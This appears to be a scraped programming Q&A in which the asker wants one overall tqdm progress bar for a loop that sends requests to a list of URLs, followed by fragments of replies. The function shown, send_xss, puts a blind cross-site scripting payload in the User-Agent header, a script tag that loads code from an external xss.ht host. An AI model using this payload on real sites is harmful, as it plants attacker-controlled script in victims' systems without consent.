I have a for-loop to read line by line from a file. I use a try statement in this loop.
I'd like to know how a tqdm can be used to check progress?
I have tried many methods but failed.
My output :
100%|█████████████████████████████████████████████████████████████████████████████████████████████████████████████████████| 10/10 [00:00<00:00, 712.34it/s]
100%|█████████████████████████████████████████████████████████████████████████████████████████████████████████████████████| 10/10 [00:00<00:00, 674.33it/s]
100%|█████████████████████████████████████████████████████████████████████████████████████████████████████████████████████| 10/10 [00:00<00:00, 543.35it/s]
I get this one passive output for each request. Does this mean that if I have file that contains 100 urls, my code will output 100 tqdm passive results line ?
How can I check global progress instead ?
def send_xss(filee):
urls_file = open(filee , 'r') #open the file to Reading
timeout = 0.5 # Specified Timeout => [used in timeouting printer and request sender]
# Looping To Count File Lines
count = 0
with open(filee , 'r') as f:
for line in f:
count +=1
for url in urls_file:
url=url.strip()
try:
req = requests.get(url=url,headers={'user-agent':'Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko "><script src=https://useagent.xss.ht></script>) Chrome/81.0.4044.138 Safari/537.36 OPR/68.0.3618.125'})
except:
pass
for i in tqdm(range(count)):
time.sleep(0.001)
time.sleep(1) # sleep 1 sec after each request
urls_file.close()
def('urls.txt') #send paylouds to all urls from this file
tqdm
, and how this failed, i.e. whether an error was thrown, whether the output was not as expected, etc. See the minimal reproducible example and How to Ask page for details how to best help us help you.tqdm
is completely unrelated to reading from the file (or any other sensible action, for that matter). What progress do you want to track?for url in tqdm(urls_file): ...